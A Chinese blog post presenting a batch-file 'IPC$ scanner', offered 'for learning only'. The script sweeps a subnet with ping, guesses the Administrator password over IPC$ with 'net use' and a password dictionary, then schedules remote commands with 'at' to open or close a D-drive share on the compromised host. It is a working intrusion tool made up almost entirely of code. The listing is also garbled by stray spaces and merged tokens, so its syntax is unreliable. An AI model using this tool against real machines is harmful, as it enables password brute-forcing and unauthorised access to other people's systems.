用批处理写的一个Ipc$扫描器（Ipc$Scan V2.0.bat）

用批处理写的一个Ipc$扫描器（Ipc$Scan V2.0.bat），仅供学习！

@ECHO OFF
setlocal
titleIpc $ ScanV2 . 0
:: :::::::::::::::::::::::::主菜单:::::::::::::::::::::::
:MENU
COLOR8A
set op = ""
CLS
rem echo.输出空行，即相当于输入一个回车
ECHO .
ECHO .
ECHO .
ECHO . " Ipc$ScanV2.0 " 欢迎您的使用！
ECHO . CODEBYt0nsha@ 070324
ECHO . 主菜单：
ECHO . 【 1 】Ping探测一个C类网段；
ECHO . 【 2 】 Net Use猜解主机密码建立IPC $ 连接；
ECHO . 【 3 】At尝试开启目标共享（与2连用）；
ECHO . 【 4 】At关闭目标共享（与2连用）；
ECHO . 【About】关于此程序；
ECHO . 【Quit】退出。
ECHO .
set / pop = 请选择服务项目的数字号并回车[ 1234 ]：
if %op% == "" goto error
rem 第一个选项具有默认选项的功能！
if %op% == 1 goto op1
if %op% == 2 goto op2
if %op% == 3 goto op3
if %op% == 4 goto op4
if " %op% " == " a " goto about
if " %op% " == " q " goto quit

:op1
set / pnetid = 请输入一个C类网段（如： 192.168 . 1 ）：
echo %netid%网段的主机存活情况如下： > alive . txt
for / L%%Ain ( 1 , 1 , 254 ) do call :ping %netid%%%A
:ping
( ping-n 1 %1 . %2 | find " from " ) && echo %1 . %2 >> alive . txt
if %2 == 5 cls & type alive . txt& pause & goto :menu

:op2
if not exist " pass.txt " goto :nopass
if exist " pass.txt " goto :nocreate
:nopass
echo 当前目录下没有密码文件（pass . txt），
set / pcreatepass = 是否建立默认密码文件（YN）：
if %createpass% == Y goto :create
if %createpass% == N goto :nocreate
:create
echo ; 密码字典，每行前带分号的为注释行！ > pass . txt
echo ; 空密码为两个引号，即： "" >> pass . txt
echo ; 带空格的密码必须用双引号括起来，如： " testtest " >> pass . txt
echo "" >> pass . txt
:nocreate
set / pip = 请输入一个IP地址（如： 192.168 . 1.1 ）：
set user = " administrator "
set / puser = 请输入尝试猜解的用户名（默认为Administrator）：
for / F%%Bin ( pass . txt ) do call :netuse %ip%%%B%user%
:netuse
( net use / %1 ipc $ %2 / user: %3 | find " 成功 " ) && echo 主机 %1 上%user%的密码是： %2 , 已成功与 %1 建立连接！& pause & goto :menu

:op3
echo 此项应与第二项配对使用，即先用2建立连接后再运行本项！
net time / %ip%
:: for/F"eol=;tokens=4,5delims=:"%Cin('nettime^^.25.90.5')doecho%C%D
for / F " eol=;tokens=4,5delims=: " %%Cin ( ' net time ^ ^ %ip%' ) do Call :settime %%C%%D
:settime
set hour = %1 & set min = %2
:: at/222.25.90.520:43netshared$=d:
set / anewmin = %min% + 2
:: echo%hour:~0,2%:%newmin%
at / %ip%%hour:~ 0 , 2 %:%newmin% net shared $= d:| find " 成功 " && echo 主机%ip%将在%hour:~ 0 , 2 %:%newmin%开启D盘共享！&& pause && goto :menu
echo 失败！& pause & goto :menu

:op4
echo 此项应与第二项配对使用，即先用2建立连接后再运行本项！
net time / %ip%
:: for/F"eol=;tokens=4,5delims=:"%Cin('nettime^^.25.90.5')doecho%C%D
for / F " eol=;tokens=4,5delims=: " %%Cin ( ' net time ^ ^ %ip%' ) do Call :settime %%C%%D
:settime
set hour = %1 & set min = %2
:: at/222.25.90.520:43netshared$=d:
set / anewmin = %min% + 2
:: echo%hour:~0,2%:%newmin%
at / %ip%%hour:~ 0 , 2 %:%newmin% net shared $ / del | find " 成功 " && net use / %ip% ipc $ / del && echo 主机%ip%将在%hour:~ 0 , 2 %:%newmin%关闭D盘共享！&& pause && goto :menu
echo 失败！& pause & goto :menu

:about
cls
echo .
echo ★★★★★★★★★★★★★★★★★★★★★★★★★★★
echo ★关于★
echo . ★★
echo ★如有任何建议或Bug请Email至：liaodunxia@gmail . com★
echo . ★★
echo ★★
echo ★◎退出请直接关闭窗口◎★
echo ★★★★★★★★★★★★★★★★★★★★★★★★★★★
echo .
call :website
:website
setlocal enabledelayedexpansion
set website = 欢迎访问我的博客：http: // blog . csdn . net / t0nsha的BLOG
:website2
for / l%%iin ( 0 , 1 , 45 ) do call :website1 %%i
if %a%equ 45 goto :about
goto :website2
:website1
set / aa = %1
set / p = !website:~%a% , 1 ! < nul
ping / n 1 127.1 > nul
goto :eof

:quit
cls
echo .
echo .
echo .
echo －－－－－－－－－－
echo §谢谢使用！再见！§
echo －－－－－－－－－－
echo on & endlocal &ping-n 1 127.1 > nul& goto :eof